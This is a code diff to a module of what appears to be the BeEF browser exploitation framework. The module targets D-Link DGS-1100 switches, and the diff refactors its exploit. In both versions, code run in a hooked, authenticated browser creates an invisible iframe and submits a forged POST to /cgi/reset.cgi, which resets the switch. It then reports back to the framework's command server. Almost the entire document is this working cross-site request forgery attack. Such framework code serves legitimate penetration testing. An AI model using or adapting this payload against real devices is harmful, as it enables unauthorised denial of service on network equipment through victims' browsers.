diff --git a/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js b/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js index b5164a929..6da6cccc5 100644 --- a/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js +++ b/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js @@ -8,22 +8,9 @@ beef.execute(function() { // Hooked browser must be authenticated to switch. var base = '<%= @base %>'; - var dlink_dgs_iframe = beef.dom.createInvisibleIframe(); - - var form = document.createElement('form'); - form.setAttribute('action', base + "/cgi/reset.cgi"); - form.setAttribute('method', 'POST'); - - var input = null; - - input = document.createElement('input'); - input.setAttribute('type', 'hidden'); - input.setAttribute('name', 'reset'); - input.setAttribute('value', 1); - form.appendChild(input); - - dlink_dgs_iframe.contentWindow.document.body.appendChild(form); - form.submit(); + var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/reset.cgi', 'POST', 'application/x-www-form-urlencoded', [ + { type: 'hidden', name: 'reset', value: 1 } + ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");